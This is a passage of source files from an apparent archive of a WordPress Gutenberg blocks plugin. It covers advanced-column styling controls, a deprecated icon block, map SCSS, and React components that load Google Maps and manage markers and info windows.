												value: getPadding( 'bottom' )
											},
											{
												label: __( 'Left' ),
												type: 'left',
												value: getPadding( 'left' )
											}
										] }
									/>
								</ResponsiveControl>

								<ResponsiveControl
									label={ 'Margin' }
									view={ marginViewType }
									changeViewType={ changeMarginViewType }
								>
									<SizingControl
										type={ getMarginType }
										min={ -500 }
										max={ 500 }
										changeType={ changeMarginType }
										onChange={ changeMargin }
										options={ [
											{
												label: __( 'Top' ),
												type: 'top',
												value: getMargin( 'top' )
											},
											{
												label: __( 'Right' ),
												type: 'right',
												value: getMargin( 'right' )
											},
											{
												label: __( 'Bottom' ),
												type: 'bottom',
												value: getMargin( 'bottom' )
											},
											{
												label: __( 'Left' ),
												type: 'left',
												value: getMargin( 'left' )
											}
										] }
									/>
								</ResponsiveControl>
							</PanelBody>
						</Fragment>

					) || 'style' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'Background Settings' ) }
								className="wp-block-themeisle-image-container"
							>
								<BackgroundControl
									label={ __( 'Background Type' ) }
									backgroundType={ backgroundType }
									changeBackgroundType={ changeBackgroundType }
								/>

								{ 'color' === backgroundType && (

									<Fragment>
										<p>{ __( 'Background Color' ) }</p>

										<ColorPalette
											label={ 'Background Color' }
											value={ backgroundColor }
											onChange={ changeBackgroundColor }
										/>
									</Fragment>

								) || 'image' === backgroundType && (
									backgroundImageURL ?

										<Fragment>
											<div className="image-body">
												<div className="image-container">
													<div
														className="image-holder"
														style={ {
															backgroundImage: `url('${ backgroundImageURL }')`
														} }
													></div>

													<div
														className="image-delete"
														onClick={ removeBackgroundImage }
													>
														<Dashicon icon="trash" />
														<span>{ __( 'Remove Image' ) }</span>
													</div>
												</div>
											</div>

											<Button
												isDefault
												className="image-delete-button"
												onClick={ removeBackgroundImage }
											>
												{ __( 'Change or Remove Image' ) }
											</Button>

											<ControlPanelControl
												label={ 'Background Settings' }
											>

												<SelectControl
													label={ __( 'Background Attachment' ) }
													value={ backgroundAttachment }
													options={ [
														{ label: 'Scroll', value: 'scroll' },
														{ label: 'Fixed', value: 'fixed' },
														{ label: 'Local', value: 'local' }
													] }
													onChange={ changeBackgroundAttachment }
												/>

												<SelectControl
													label={ __( 'Background Position' ) }
													value={ backgroundPosition }
													options={ [
														{ label: 'Default', value: 'top left' },
														{ label: 'Top Left', value: 'top left' },
														{ label: 'Top Center', value: 'top center' },
														{ label: 'Top Right', value: 'top right' },
														{ label: 'Center Left', value: 'center left' },
														{ label: 'Center Center', value: 'center center' },
														{ label: 'Center Right', value: 'center right' },
														{ label: 'Bottom Left', value: 'bottom left' },
														{ label: 'Bottom Center', value: 'bottom center' },
														{ label: 'Bottom Right', value: 'bottom right' }
													] }
													onChange={ changeBackgroundPosition }
												/>

												<SelectControl
													label={ __( 'Background Repeat' ) }
													value={ backgroundRepeat }
													options={ [
														{ label: 'Repeat', value: 'repeat' },
														{ label: 'No-repeat', value: 'no-repeat' }
													] }
													onChange={ changeBackgroundRepeat }
												/>

												<SelectControl
													label={ __( 'Background Size' ) }
													value={ backgroundSize }
													options={ [
														{ label: 'Auto', value: 'auto' },
														{ label: 'Cover', value: 'cover' },
														{ label: 'Contain', value: 'contain' }
													] }
													onChange={ changeBackgroundSize }
												/>

											</ControlPanelControl>
										</Fragment> :

										<MediaPlaceholder
											icon="format-image"
											labels={ {
												title: __( 'Background Image' ),
												name: __( 'an image' )
											} }
											value={ backgroundImageID }
											onSelect={ changeBackgroundImage }
											accept="image/*"
											allowedTypes={ [ 'image' ] }
										/>

								) || 'gradient' === backgroundType && (
									<Fragment>
										<p>{ __( 'First Color' ) }</p>

										<ColorPalette
											label={ __( 'Color' ) }
											value={ backgroundGradientFirstColor }
											onChange={ changeBackgroundGradientFirstColor }
										/>

										<RangeControl
											label={ __( 'Location' ) }
											value={ backgroundGradientFirstLocation }
											onChange={ changeBackgroundGradientFirstLocation }
											min={ 0 }
											max={ 100 }
										/>

										<p>{ __( 'Second Color' ) }</p>

										<ColorPalette
											label={ __( 'Color' ) }
											value={ backgroundGradientSecondColor }
											onChange={ changeBackgroundGradientSecondColor }
										/>

										<RangeControl
											label={ __( 'Location' ) }
											value={ backgroundGradientSecondLocation }
											onChange={ changeBackgroundGradientSecondLocation }
											min={ 0 }
											max={ 100 }
										/>

										<SelectControl
											label={ __( 'Type' ) }
											value={ backgroundGradientType }
											options={ [
												{ label: 'Linear', value: 'linear' },
												{ label: 'Radial', value: 'radial' }
											] }
											onChange={ changeBackgroundGradientType }
										/>

										{ 'linear' === backgroundGradientType ?
											<RangeControl
												label={ __( 'Angle' ) }
												value={ backgroundGradientAngle }
												onChange={ changeBackgroundGradientAngle }
												min={ 0 }
												max={ 360 }
											/>	:
											<SelectControl
												label={ __( 'Position' ) }
												value={ backgroundGradientPosition }
												options={ [
													{ label: 'Top Left', value: 'top left' },
													{ label: 'Top Center', value: 'top center' },
													{ label: 'Top Right', value: 'top right' },
													{ label: 'Center Left', value: 'center left' },
													{ label: 'Center Center', value: 'center center' },
													{ label: 'Center Right', value: 'center right' },
													{ label: 'Bottom Left', value: 'bottom left' },
													{ label: 'Bottom Center', value: 'bottom center' },
													{ label: 'Bottom Right', value: 'bottom right' }
												] }
												onChange={ changeBackgroundGradientPosition }
											/>
										}
									</Fragment>
								) }
							</PanelBody>

							<PanelBody
								title={ __( 'Border' ) }
								className="wp-block-themeisle-border-container"
								initialOpen={ false }
							>
								<SizingControl
									label={ __( 'Border Width' ) }
									type={ borderType }
									min={ 0 }
									max={ 500 }
									changeType={ changeBorderType }
									onChange={ changeBorder }
									options={ [
										{
											label: __( 'Top' ),
											type: 'top',
											value: getBorder( 'top' )
										},
										{
											label: __( 'Right' ),
											type: 'right',
											value: getBorder( 'right' )
										},
										{
											label: __( 'Bottom' ),
											type: 'bottom',
											value: getBorder( 'bottom' )
										},
										{
											label: __( 'Left' ),
											type: 'left',
											value: getBorder( 'left' )
										}
									] }
								/>

								<Fragment>
									<p>{ __( 'Border Color' ) }</p>

									<ColorPalette
										label={ 'Border Color' }
										value={ borderColor }
										onChange={ changeBorderColor }
									/>
								</Fragment>

								<SizingControl
									label={ __( 'Border Radius' ) }
									type={ borderRadiusType }
									min={ 0 }
									max={ 500 }
									changeType={ changeBorderRadiusType }
									onChange={ changeBorderRadius }
									options={ [
										{
											label: __( 'Top' ),
											type: 'top',
											value: getBorderRadius( 'top' )
										},
										{
											label: __( 'Right' ),
											type: 'right',
											value: getBorderRadius( 'right' )
										},
										{
											label: __( 'Bottom' ),
											type: 'bottom',
											value: getBorderRadius( 'bottom' )
										},
										{
											label: __( 'Left' ),
											type: 'left',
											value: getBorderRadius( 'left' )
										}
									] }
								/>

								<ToggleControl
									label={ 'Box Shadow' }
									checked={ boxShadow }
									onChange={ changeBoxShadow }
								/>

								{ boxShadow && (
									<Fragment>

										<Fragment>
											<p>{ __( 'Shadow Color' ) }</p>

											<ColorPalette
												label={ 'Shadow Color' }
												value={ boxShadowColor }
												onChange={ changeBoxShadowColor }
											/>
										</Fragment>

										<ControlPanelControl
											label={ 'Shadow Properties' }
										>

											<RangeControl
												label={ __( 'Opacity' ) }
												value={ boxShadowColorOpacity }
												onChange={ changeBoxShadowColorOpacity }
												min={ 0 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Blur' ) }
												value={ boxShadowBlur }
												onChange={ changeBoxShadowBlur }
												min={ 0 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Spread' ) }
												value={ boxShadowSpread }
												onChange={ changeBoxShadowSpread }
												min={ -100 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Horizontal' ) }
												value={ boxShadowHorizontal }
												onChange={ changeBoxShadowHorizontal }
												min={ -100 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Vertical' ) }
												value={ boxShadowVertical }
												onChange={ changeBoxShadowVertical }
												min={ -100 }
												max={ 100 }
											/>

										</ControlPanelControl>

									</Fragment>
								) }
							</PanelBody>
						</Fragment>
					) || 'advanced' === tab && (

						<PanelBody
							title={ __( 'Section Settings' ) }
						>
							<SelectControl
								label={ __( 'HTML Tag' ) }
								value={ columnsHTMLTag }
								options={ [
									{ label: 'Default', value: 'div' },
									{ label: 'div', value: 'div' },
									{ label: 'section', value: 'section' },
									{ label: 'header', value: 'header' },
									{ label: 'footer', value: 'footer' },
									{ label: 'article', value: 'article' },
									{ label: 'main', value: 'main' }
								] }
								onChange={ changeColumnsHTMLTag }
							/>
						</PanelBody>

					) }
				</InspectorControls>

				<ResizableBox
					className="block-library-spacer__resize-container wp-themeisle-block-advanced-column-resize-container"
					enable={ {
						right: adjacentBlockClientId ? true : false
					} }
					handleWrapperClass="wp-themeisle-block-advanced-column-resize-container-handle"
					onResizeStart={ ( event, direction, elt, delta ) => {
						const handle = document.querySelector( `#block-${ props.clientId } .wp-themeisle-block-advanced-column-resize-container-handle .components-resizable-box__handle` );
						const handleTooltipLeft = document.createElement( 'div' );
						const handleTooltipRight = document.createElement( 'div' );

						handleTooltipLeft.setAttribute( 'class', 'resizable-tooltip resizable-tooltip-left' );
						handleTooltipLeft.innerHTML = `${ parseFloat( columnWidth ).toFixed( 0 ) }%`;
						handle.appendChild( handleTooltipLeft );
						handleTooltipRight.setAttribute( 'class', 'resizable-tooltip resizable-tooltip-right' );
						handleTooltipRight.innerHTML = `${ parseFloat( adjacentBlock.attributes.columnWidth ).toFixed( 0 ) }%`;
						handle.appendChild( handleTooltipRight );

						setState({
							currentWidth: columnWidth,
							nextWidth: adjacentBlock.attributes.columnWidth
						});
						props.toggleSelection( false );
					} }
					onResize={ ( event, direction, elt, delta ) => {
						const parent = document.getElementById( `block-${ parentClientId }` );
						const parentWidth = parent.getBoundingClientRect().width;
						const changedWidth = ( delta.width / parentWidth ) * 100;
						const width = parseFloat( currentWidth ) + changedWidth;
						const nextColumnWidth = nextWidth - changedWidth;
						const handleTooltipLeft = document.querySelector( '.resizable-tooltip-left' );
						const handleTooltipRight = document.querySelector( '.resizable-tooltip-right' );

						if ( 10 <= width && 10 <= nextColumnWidth ) {
							handleTooltipLeft.innerHTML = `${ width.toFixed( 0 ) }%`;
							handleTooltipRight.innerHTML = `${ nextColumnWidth.toFixed( 0 ) }%`;

							props.setAttributes({ columnWidth: width.toFixed( 2 ) });
							updateBlockAttributes( adjacentBlockClientId, {
								columnWidth: nextColumnWidth.toFixed( 2 )
							});
						}

					} }
					onResizeStop={ ( event, direction, elt, delta ) => {
						const handleTooltipLeft = document.querySelector( '.resizable-tooltip-left' );
						const handleTooltipRight = document.querySelector( '.resizable-tooltip-right' );

						handleTooltipLeft.parentNode.removeChild( handleTooltipLeft );
						handleTooltipRight.parentNode.removeChild( handleTooltipRight );
						props.toggleSelection( true );
					} }
				>
					<Tag
						className={ props.className }
						id={ id }
						style={ style }
					>
						<InnerBlocks
							templateLock={ false }
							renderAppender={ (
								hasChildBlocks ?
									undefined :
									() => <InnerBlocks.ButtonBlockAppender />
							) }
						/>
					</Tag>
				</ResizableBox>
			</Fragment>
		);
	}),

	save: props => {
		const {
			id,
			backgroundType,
			backgroundColor,
			backgroundImageURL,
			backgroundAttachment,
			backgroundPosition,
			backgroundRepeat,
			backgroundSize,
			backgroundGradientFirstColor,
			backgroundGradientFirstLocation,
			backgroundGradientSecondColor,
			backgroundGradientSecondLocation,
			backgroundGradientType,
			backgroundGradientAngle,
			backgroundGradientPosition,
			borderType,
			border,
			borderTop,
			borderRight,
			borderBottom,
			borderLeft,
			borderColor,
			borderRadiusType,
			borderRadius,
			borderRadiusTop,
			borderRadiusRight,
			borderRadiusBottom,
			borderRadiusLeft,
			boxShadow,
			boxShadowColor,
			boxShadowColorOpacity,
			boxShadowBlur,
			boxShadowSpread,
			boxShadowHorizontal,
			boxShadowVertical,
			columnsHTMLTag
		} = props.attributes;

		const Tag = columnsHTMLTag;

		let background, borderStyle, borderRadiusStyle, boxShadowStyle;

		if ( 'color' === backgroundType ) {
			background = {
				background: backgroundColor
			};
		}

		if ( 'image' === backgroundType ) {
			background = {
				backgroundImage: `url( '${ backgroundImageURL }' )`,
				backgroundAttachment,
				backgroundPosition,
				backgroundRepeat,
				backgroundSize
			};
		}

		if ( 'gradient' === backgroundType ) {
			let direction;

			if ( 'linear' === backgroundGradientType ) {
				direction = `${ backgroundGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundGradientPosition }`;
			}

			background = {
				background: `${ backgroundGradientType }-gradient( ${ direction }, ${ backgroundGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientFirstLocation }%, ${ backgroundGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientSecondLocation }% )`
			};
		}

		if ( 'linked' === borderType ) {
			borderStyle = {
				borderWidth: `${ border }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'unlinked' === borderType ) {
			borderStyle = {
				borderTopWidth: `${ borderTop }px`,
				borderRightWidth: `${ borderRight }px`,
				borderBottomWidth: `${ borderBottom }px`,
				borderLeftWidth: `${ borderLeft }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'linked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderRadius: `${ borderRadius }px`
			};
		}

		if ( 'unlinked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderTopLeftRadius: `${ borderRadiusTop }px`,
				borderTopRightRadius: `${ borderRadiusRight }px`,
				borderBottomRightRadius: `${ borderRadiusBottom }px`,
				borderBottomLeftRadius: `${ borderRadiusLeft }px`
			};
		}

		if ( true === boxShadow ) {
			boxShadowStyle = {
				boxShadow: `${ boxShadowHorizontal }px ${ boxShadowVertical }px ${ boxShadowBlur }px ${ boxShadowSpread }px ${  hexToRgba( ( boxShadowColor ? boxShadowColor : '#000000' ), boxShadowColorOpacity ) }`
			};
		}

		const style = {
			...background,
			...borderStyle,
			...borderRadiusStyle,
			...boxShadowStyle
		};

		return (
			<Tag
				className={ props.className }
				id={ id }
				style={ style }
			>
				<InnerBlocks.Content />
			</Tag>
		);
	}
});
font-awesome-icons/deprecated.js000066600000006507151151722010012726 0ustar00const deprecated = [ {
	attributes: {
		align: {
			type: 'string'
		},
		prefix: {
			type: 'string',
			default: 'fab'
		},
		icon: {
			type: 'string',
			default: 'themeisle'
		},
		fontSize: {
			type: 'number',
			default: 16
		},
		padding: {
			type: 'number',
			default: 5
		},
		margin: {
			type: 'number',
			default: 5
		},
		backgroundColor: {
			type: 'string'
		},
		textColor: {
			type: 'string'
		},
		borderColor: {
			type: 'string'
		},
		borderSize: {
			type: 'number',
			default: 0
		},
		borderRadius: {
			type: 'number',
			default: 0
		}
	},

	save: props => {
		const iconStyle = {
			borderRadius: props.attributes.borderRadius + '%',
			fontSize: props.attributes.fontSize + 'px',
			padding: props.attributes.padding + 'px'
		};

		const containerStyle = {
			color: props.attributes.textColor,
			backgroundColor: props.attributes.backgroundColor,
			borderColor: props.attributes.borderColor,
			borderRadius: props.attributes.borderRadius + '%',
			borderStyle: 'solid',
			borderWidth: props.attributes.borderSize + 'px',
			display: 'inline-block',
			margin: props.attributes.margin + 'px'
		};

		return (
			<p
				className={ props.className }
				style={{ textAlign: props.attributes.align }}
			>
				<span
					className="undefined-container"
					style={ containerStyle }
				>
					<i
						className={ `${ props.attributes.prefix } fa-${ props.attributes.icon }` }
						style={ iconStyle }
					>
					</i>
				</span>
			</p>
		);
	}
}, {
	attributes: {
		prefix: {
			type: 'string',
			default: 'fab'
		},
		icon: {
			type: 'string',
			default: 'themeisle'
		},
		fontSize: {
			type: 'number',
			default: 16
		},
		padding: {
			type: 'number',
			default: 5
		},
		margin: {
			type: 'number',
			default: 5
		},
		backgroundColor: {
			type: 'string'
		},
		textColor: {
			type: 'string'
		},
		borderColor: {
			type: 'string'
		},
		borderSize: {
			type: 'number',
			default: 0
		},
		borderRadius: {
			type: 'number',
			default: 0
		}
	},

	supports: {
		align: [ 'left', 'center', 'right' ]
	},

	migrate: ( attributes ) => {
		let align = 'center';

		if ( attributes.className.includes( 'alignleft' ) ) {
			align = 'left';
		}

		if ( attributes.className.includes( 'aligncenter' ) ) {
			align = 'center';
		}

		if ( attributes.className.includes( 'alignright' ) ) {
			align = 'right';
		}

		return {
			...attributes,
			align: align,
			className: ''
		};
	},

	save: props => {
		const iconStyle = {
			borderRadius: props.attributes.borderRadius + '%',
			fontSize: props.attributes.fontSize + 'px',
			padding: props.attributes.padding + 'px'
		};

		const containerStyle = {
			color: props.attributes.textColor,
			backgroundColor: props.attributes.backgroundColor,
			borderColor: props.attributes.borderColor,
			borderRadius: props.attributes.borderRadius + '%',
			borderStyle: 'solid',
			borderWidth: props.attributes.borderSize + 'px',
			display: 'inline-block',
			margin: props.attributes.margin + 'px'
		};

		return (
			<p
				className={ props.className }
				style={{ textAlign: props.attributes.align }}
			>
				<span
					className={ `${ props.className }-container` }
					style={ containerStyle }
				>
					<i
						className={ `${ props.attributes.prefix } fa-${ props.attributes.icon }` }
						style={ iconStyle }
					>
					</i>
				</span>
			</p>
		);
	}
} ];

export default deprecated;
google-map/style.scss000066600000000530151151722010010625 0ustar00.wp-block-themeisle-blocks-google-map {
	margin: 20px 0;
}

.wp-block-themeisle-blocks-map-overview {
	h6.wp-block-themeisle-blocks-map-overview-title {
		font-size: 14px;
		margin: 10px 0;
	}

	.wp-block-themeisle-blocks-map-overview-content p {
		font-size: 12px;
	}

	.wp-block-themeisle-blocks-map-overview-delete {
		cursor: pointer;
	}
}
google-map/components/MarkerWrapper.js000066600000003046151151722010014102 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { Button } = wp.components;

const {
	Component,
	Fragment
} = wp.element;

/**
 * Internal dependencies
 */
import Marker from './Marker.js';

class MarkerWrapper extends Component {
	constructor() {
		super( ...arguments );
		this.openMarker = this.openMarker.bind( this );

		this.state = {
			isOpen: null
		};
	}

	componentDidMount() {
		if ( false !== this.props.initialOpen ) {
			this.setState({ isOpen: this.props.initialOpen });
		}
	}

	componentDidUpdate( prevProps ) {
		if ( this.props.initialOpen !== prevProps.initialOpen ) {
			if ( false !== this.props.initialOpen ) {
				this.setState({ isOpen: this.props.initialOpen });
			}
		}
	}

	openMarker( id ) {
		if ( this.state.isOpen === id ) {
			id = null;
		}

		this.setState({ isOpen: id });
	}

	render() {
		return (
			<Fragment>
				<div className="wp-block-themeisle-blocks-google-map-marker-group">
					{ this.props.markers.map( marker => {
						return (
							<Marker
								marker={ marker }
								isOpen={ this.state.isOpen }
								isPlaceAPIAvailable={ this.props.isPlaceAPIAvailable }
								openMarker={ this.openMarker }
								removeMarker={ this.props.removeMarker }
								changeMarkerProp={ this.props.changeMarkerProp }
							/>
						);
					}) }
				</div>

				<Button
					isDefault
					isLarge
					className="wp-block-themeisle-blocks-google-map-marker-add"
					onClick={ this.props.addMarker }
				>
					{ __( 'Add Marker' ) }
				</Button>
			</Fragment>
		);
	}
}

export default MarkerWrapper;
google-map/components/Editor.js000066600000055454151151722010012560 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';
import uuidv4 from 'uuid';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	BaseControl,
	Button,
	ExternalLink,
	PanelBody,
	Placeholder,
	RangeControl,
	ResizableBox,
	SelectControl,
	Spinner,
	TextControl,
	ToggleControl
} = wp.components;

const { InspectorControls } = wp.editor;

const {
	Component,
	Fragment
} = wp.element;

/**
 * Internal dependencies
 */
import MarkerWrapper from './MarkerWrapper.js';
import MarkerModal from './MarkerModal.js';

class Editor extends Component {
	constructor() {
		super( ...arguments );
		this.enqueueScript = this.enqueueScript.bind( this );
		this.initMap = this.initMap.bind( this );
		this.initSearch = this.initSearch.bind( this );
		this.cycleMarkers = this.cycleMarkers.bind( this );
		this.changeAPI = this.changeAPI.bind( this );
		this.saveAPIKey = this.saveAPIKey.bind( this );
		this.changeLocation = this.changeLocation.bind( this );
		this.markerButton = this.markerButton.bind( this );
		this.selectMarker = this.selectMarker.bind( this );
		this.addMarkerManual = this.addMarkerManual.bind( this );
		this.addMarker = this.addMarker.bind( this );
		this.addInfoWindow = this.addInfoWindow.bind( this );
		this.removeMarker = this.removeMarker.bind( this );
		this.removeMarkers = this.removeMarkers.bind( this );
		this.changeLatitude = this.changeLatitude.bind( this );
		this.changeLongitude = this.changeLongitude.bind( this );
		this.changeMapType = this.changeMapType.bind( this );
		this.changeZoom = this.changeZoom.bind( this );
		this.changeHeight = this.changeHeight.bind( this );
		this.toggleDraggable = this.toggleDraggable.bind( this );
		this.toggleMapTypeControl = this.toggleMapTypeControl.bind( this );
		this.toggleZoomControl = this.toggleZoomControl.bind( this );
		this.toggleFullScreenControl = this.toggleFullScreenControl.bind( this );
		this.toggleStreetViewControl = this.toggleStreetViewControl.bind( this );
		this.changeMarkerProp = this.changeMarkerProp.bind( this );

		window.isMapLoaded = window.isMapLoaded || false;
		window.selectMarker = this.selectMarker;
		window.removeMarker = this.removeMarker;

		this.state = {
			api: '',
			isAPILoaded: false,
			isAPISaved: false,
			isSaving: false,
			isPlaceAPIAvailable: true,
			isMarkerOpen: false,
			isSelectingMarker: false,
			isModalOpen: false,
			selectedMarker: {}
		};

		this.settings;

		this.link = document.createElement( 'script' );
		this.link.type = 'text/javascript';
		this.link.async = true;
		this.link.defer = true;
		this.link.id = 'themeisle-google-map-api-loading';

		this.map;
		this.searchBox;
		this.name;
		this.markers = [];
		this.lastInfoWindow;
	}

	async componentDidMount() {
		if ( this.props.attributes.id === undefined || this.props.attributes.id.substr( this.props.attributes.id.length - 8 ) !== this.props.clientId.substr( 0, 8 ) ) {
			const instanceId = `wp-block-themeisle-blocks-google-map-${ this.props.clientId.substr( 0, 8 ) }`;
			this.props.setAttributes({ id: instanceId });
		}

		await wp.api.loadPromise.then( () => {
			this.settings = new wp.api.models.Settings();
		});

		if ( false === Boolean( themeisleGutenberg.mapsAPI ) ) {
			if ( ! this.state.isAPILoaded ) {
				this.settings.fetch().then( response => {
					this.setState({
						api: response.themeisle_google_map_block_api_key,
						isAPILoaded: true
					});

					if ( '' !== response.themeisle_google_map_block_api_key ) {
						this.setState({
							isAPISaved: true
						});

						this.enqueueScript( response.themeisle_google_map_block_api_key );
					}
				});
			}
		} else {
			if ( ! this.state.isAPILoaded ) {
				this.setState({
					api: themeisleGutenberg.mapsAPI,
					isAPILoaded: true,
					isAPISaved: true
				});

				this.enqueueScript( themeisleGutenberg.mapsAPI );
			}
		}
	}

	componentDidUpdate( prevProps ) {
		if ( this.props.isSelected !== prevProps.isSelected && false !== this.state.isAPISaved ) {
			const isSelected = this.props.isSelected;

			this.map.setOptions({
				mapTypeControl: isSelected ? true : this.props.attributes.mapTypeControl,
				zoomControl: isSelected ? true : this.props.attributes.zoomControl,
				fullscreenControl: isSelected ? true : this.props.attributes.fullscreenControl,
				streetViewControl: isSelected ? true : this.props.attributes.streetViewControl
			});
		}
	}

	enqueueScript( api ) {
		if ( ! window.isMapLoaded ) {
			window.isMapLoaded = true;
			this.link.onload = () => {
				const script = document.getElementById( 'themeisle-google-map-api-loading' );
				script.id = 'themeisle-google-map-api';
				this.initMap();
			};
			this.link.src = `https://maps.googleapis.com/maps/api/js?key=${ api }&libraries=places&cache=${ Math.random() }`;
			document.head.appendChild( this.link );
		}

		const loaded = document.getElementById( 'themeisle-google-map-api' );

		if ( loaded ) {
			this.initMap();
		}
	}

	initMap() {
		this.map = new google.maps.Map( document.getElementById( this.props.attributes.id ), {
			center: {
				lat: Number( this.props.attributes.latitude ) || 41.4036299,
				lng: Number( this.props.attributes.longitude ) || 2.1743558000000576
			},
			gestureHandling: 'cooperative',
			zoom: this.props.attributes.zoom,
			mapTypeId: this.props.attributes.type
		});

		if ( this.props.attributes.location && ( undefined === this.props.attributes.latitude && undefined === this.props.attributes.longitude ) ) {
			const request = {
				query: this.props.attributes.location,
				fields: [ 'name', 'geometry' ]
			};

			const service = new google.maps.places.PlacesService( this.map );

			service.findPlaceFromQuery( request, ( results, status ) => {
				if ( status === google.maps.places.PlacesServiceStatus.OK ) {
					if ( 0 < results.length ) {
						this.map.setCenter( results[0].geometry.location );
					}
				}
			});
		}

		this.map.addListener( 'zoom_changed', () => {
			const zoom = this.map.getZoom();
			this.props.setAttributes({ zoom });
		});

		this.map.addListener( 'maptypeid_changed', () => {
			const type = this.map.getMapTypeId();
			this.props.setAttributes({ type });
		});

		this.map.addListener( 'bounds_changed', () => {
			const location = this.map.getCenter();
			const latitude = location.lat();
			const longitude = location.lng();
			this.props.setAttributes({
				latitude: latitude.toString(),
				longitude: longitude.toString()
			});
		});

		if ( 0 < this.props.attributes.markers.length ) {
			this.cycleMarkers( this.props.attributes.markers );
		}

		const request = {
			query: this.props.attributes.location,
			fields: [ 'name', 'geometry' ]
		};

		const service = new google.maps.places.PlacesService( this.map );

		service.findPlaceFromQuery( request, ( results, status ) => {
			if ( 'REQUEST_DENIED' === status ) {
				this.setState({ isPlaceAPIAvailable: false });
			}
		});

		const centerControlDiv = document.createElement( 'div' );
		new this.markerButton( centerControlDiv );
		centerControlDiv.index = 1;
		this.map.controls[ google.maps.ControlPosition.LEFT_BOTTOM ].push( centerControlDiv );
	}

	initSearch( e ) {
		const elements = document.getElementsByClassName( 'pac-container' );

		Object.keys( elements ).forEach( e => elements[e].remove() );

		this.searchBox = new google.maps.places.SearchBox( e.target );

		this.searchBox.addListener( 'places_changed', () => {
			const places = this.searchBox.getPlaces();

			if ( places && ( 0 < places.length ) ) {
				places.forEach( place => {
					this.name = place.name || __( 'Custom Marker' );
					const latitude = place.geometry.location.lat();
					const longitude = place.geometry.location.lng();
					const latLng = new google.maps.LatLng( latitude, longitude );
					this.map.setCenter( latLng );
					this.props.setAttributes({
						location: place.formatted_address || place.name,
						latitude: latitude.toString(),
						longitude: longitude.toString()
					});
				});
			}
		});
	}

	markerButton( controlDiv ) {
		const controlUI = document.createElement( 'button' );
		controlUI.className = 'gm-control-marker-ui';
		controlUI.title = __( 'Add Marker' );
		controlDiv.appendChild( controlUI );

		const controlText = document.createElement( 'span' );
		controlText.className = 'dashicons dashicons-sticky';
		controlUI.appendChild( controlText );

		controlUI.addEventListener( 'click', () => {
			window.selectMarker();
		});
	}

	selectMarker() {
		if ( ! this.state.isSelectingMarker ) {
			this.map.addListener( 'click', e => {
				google.maps.event.clearListeners( this.map, 'click' );

				const id = uuidv4();
				const title = __( 'Custom Marker' );
				const latitude = e.latLng.lat();
				const longitude = e.latLng.lng();

				this.setState({
					isSelectingMarker: ! this.state.isSelectingMarker,
					isModalOpen: true,
					selectedMarker: {
						advanced: false,
						id,
						location: '',
						title,
						icon: 'https://maps.google.com/mapfiles/ms/icons/red-dot.png',
						description: '',
						latitude,
						longitude
					}
				});
			});
		} else {
			google.maps.event.clearListeners( this.map, 'click' );
		}

		this.setState({ isSelectingMarker: ! this.state.isSelectingMarker });
	}

	addMarkerManual() {
		const id = uuidv4();
		const title = __( 'Custom Marker' );
		const location = this.map.getCenter();
		const latitude = location.lat();
		const longitude = location.lng();

		this.setState({
			isModalOpen: true,
			selectedMarker: {
				advanced: true,
				id,
				location: '',
				title,
				icon: 'https://maps.google.com/mapfiles/ms/icons/red-dot.png',
				description: '',
				latitude,
				longitude
			}
		});
	}

	addMarker( location, title, icon, description, latitude, longitude  ) {
		const latLng = new google.maps.LatLng( latitude, longitude );

		const id = uuidv4();

		let mark = new google.maps.Marker({
			position: latLng,
			map: this.map,
			title,
			draggable: true,
			icon
		});

		google.maps.event.addListener( mark, 'dragend', event => {
			const lat = event.latLng.lat();
			const lng = event.latLng.lng();
			this.changeMarkerProp( id, 'latitude', lat );
			this.changeMarkerProp( id, 'longitude', lng );
		});

		this.markers.push( mark );

		const markers = [ ...this.props.attributes.markers ];

		const marker = {
			id,
			location,
			title,
			icon,
			description,
			latitude,
			longitude
		};

		markers.push( marker );

		this.props.setAttributes({ markers });

		google.maps.event.addListener( mark, 'click', event => {
			if ( this.lastInfoWindow ) {
				this.lastInfoWindow.close();
			}
		});

		this.addInfoWindow( mark, marker.id, title, description );

		this.setState({ isModalOpen: false });
	}

	addInfoWindow( marker, id, title, description ) {
		const contentString = `<div class="wp-block-themeisle-blocks-map-overview"><h6 class="wp-block-themeisle-blocks-map-overview-title">${ title }</h6><div class="wp-block-themeisle-blocks-map-overview-content">${ description ? `<p>${ description }</p>` : '' }<a class="wp-block-themeisle-blocks-map-overview-delete" onclick="removeMarker( '${ id }' )">${ __( 'Delete Marker' ) }</a></div></div>`;

		const infowindow = new google.maps.InfoWindow({
			content: contentString
		});

		marker.addListener( 'click', () => {
			this.lastInfoWindow = infowindow;
			infowindow.open( this.map, marker );
		});

		google.maps.event.addListener( infowindow, 'domready', () => {
			this.setState({ isMarkerOpen: id });
		});

		google.maps.event.addListener( infowindow, 'closeclick', () => {
			this.setState({ isMarkerOpen: false });
		});
	}

	removeMarker( id ) {
		let markers = [ ...this.props.attributes.markers ];
		markers = markers.filter( marker => marker.id !== id );
		this.props.setAttributes({ markers });

		this.removeMarkers();
		this.setState({ isMarkerOpen: false });

		if ( 0 < markers.length ) {
			this.cycleMarkers( markers );
		}
	}

	removeMarkers() {
		for ( let i = 0; i < this.markers.length; i++ ) {
			this.markers[i].setMap( null );
		}

		this.markers = [];
	}

	cycleMarkers( markers ) {
		markers.forEach( marker => {
			const latitude = marker.latitude;
			const longitude = marker.longitude;
			const position = new google.maps.LatLng( latitude, longitude );

			let mark = new google.maps.Marker({
				position,
				map: this.map,
				title: marker.title,
				draggable: true,
				icon: marker.icon || 'https://maps.google.com/mapfiles/ms/icons/red-dot.png'
			});

			google.maps.event.addListener( mark, 'dragend', event => {
				const lat = event.latLng.lat();
				const lng = event.latLng.lng();
				this.changeMarkerProp( marker.id, 'latitude', lat );
